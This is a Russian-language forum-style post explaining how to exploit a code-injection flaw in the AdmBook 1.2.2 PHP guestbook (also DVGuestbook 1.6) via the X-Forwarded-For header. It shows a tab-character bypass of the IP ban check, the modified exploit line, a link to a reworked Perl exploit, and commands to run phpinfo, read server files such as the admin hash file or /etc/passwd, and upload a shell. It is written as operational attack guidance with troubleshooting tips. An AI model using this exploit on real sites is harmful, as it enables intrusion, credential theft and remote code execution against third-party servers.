1. Описание уязвимости. Собственно, уязвимость достаточно уже древняя. Написано о ней вот здесь, например: http://secunia.com/advisories/18930 Рабочий эксплоит можно утянуть отсюда: http://www.milw0rm.com/exploits/1512 Одна проблема - уязвимость не юзается, когда в файле banned-ip-data.php присутствует значение -1. А это значение по умолчанию для данного файла. Мне удалось обойти указанное ограничение. Рассмотрим подробно суть уязвимости. Добавление сообщений в гостевую книгу осуществляется посредством скрипта write.php, а сама база сообщений хранится в файле content-data.php. Так, когда пользователь добавляет сообщение, в файле content-data.php появляются следующие строчки: Code: $content[0]['ip'] = "127.0.0.1"; $content[0]['host'] = "localhost"; $content[0]['proxy'] = "127.0.0.1"; $content[0]['name'] = "Sergey"; $content[0]['url'] = ""; $content[0]['mail'] = "[email protected]"; $content[0]['icq'] = ""; $content[0]['message'] = "It is a wonderful site... Thank you!"; $content[0]['time'] = "1200320295"; $content[0]['admin-name'] = ""; $content[0]['admin-message'] = ""; $content[0]['admin-time'] = ""; Нас интересует переменная $content[0]['ip']. Посмотрим, как она формируется. В файле write.php переменной $ip присваивается значение переменной окружения HTTP_X_FORWARDED_FOR: Code: $ip = getenv("HTTP_X_FORWARDED_FOR"); Затем, если функция checkBannedIp возвращает TRUE, наше сообщение успешно добавляется в гостевую книгу, иначе идём лесом. Code: $checkIp = checkBannedIp($ip, $login, $password); if (!$checkIp || !$checkProxyIp) { $error .= "This 'ip' or 'proxy' is banned<br>"; } Функция checkBannedIp находится в файле lib.php и осуществляет проверку валидности переданного нами айпишника при помощи функции ip2long: Code: include($bannedData); $ip = ip2long($ip); if (!isset($banned)) { $banned = array(); } if (in_array ($ip, $banned)) { $check = false; } return $check; т.е. если наш айпишник обнаружен в файлике banned-ip-data.php, то мы, как уже было отмечено выше, идём лесом. Функция ip2long возвращает наш ip-адрес в long-формате, либо -1, если переданный нами HTTP_X_FORWARDED_FOR не является ip-адресом. Другими словами значение -1 в файле banned-ip-data.php банит сразу все значения не являющиеся ip-адресами. Получается, что когда -1 в файле banned-ip-data.php отсутствует, мы можем передавать в поле HTTP_X_FORWARDED_FOR произвольный код, когда -1 присутствует, ну да, лесом... Обойти это можно, пользуясь уязвимостью в функции ip2long: http://securityvulns.ru/Ndocument693.html Т.е. перед произвольным кодом в поле HTTP_X_FORWARDED_FOR, нам придется добавить, например, chr(9), тогда ip2long вернет валидное и отличное от -1 значение. Применительно к типовому эксплоиту, это будет выглядеть так: Code: print $sock "X-Forwarded-For: GUESS_WHAT:".$SHELL."\r\n"; заменяем на Code: print $sock "X-Forwarded-For: 1.1.1.1".chr(9)."GUESS_WHAT:".$SHELL."\r\n"; Доработанную версию эксплоита ты можешь взять здесь: http://www.itsme7.pochta.ru/admbook.pl 2. Использование уязвимости. В общем, эксплоит я слегка доработал, добавив парочку полезных функций. Теперь, при запуске нужно указывать ещё OPERATION_MODE (режим выполнения). Значение OPERATION_MODE равное 0 выполняет phpinfo(), 1 позволяет просматривать произвольные файлы на сервере, а любое другое цифровое значение загружает шелл. Шелл загружается так: Code: perl admbook_122_xpl.pl 998 localhost /admbook/ ls -al Если не загружается, то здесь возможны несколько ситуаций. Самый попсовый случай - это когда эксплойтовские сообщения в гостевую даже не добавляются. Тут мы, как правило, отдыхаем, хотя и возможны варианты (например, гостевая защищена от спама картинкой - можно что-то ловить). Затем, бывает ещё, что сообщение добавляется, а шелла всё равно нету. Тут скорее всего, для нашего юзера просто запрещены команды а-ля system(), passthru() и т.д. Возможно, эксплоит нам об этом честно сообщит, хотя не факт. Здесь можно попробовать просмотреть содержимое файлов на серваке, как минимум settings-data.php, где лежит админский хеш, но при некотором везении это может оказаться /etc/passwd или файлы других пользователей. Code: perl admbook_122_xpl.pl 1 localhost /admbook/ settings-data.php Если уж и здесь никак, возможно повезёт с утешительными призом просмотром phpinfo(). Code: perl admbook_122_xpl.pl 0 localhost /admbook/
Узнал, что данная гостевуха успешно существует также под именем DVGuestbook 1.6. Кто у кого сырцы стибрил - хз, но уязвимости там те же, что и в AdmBook.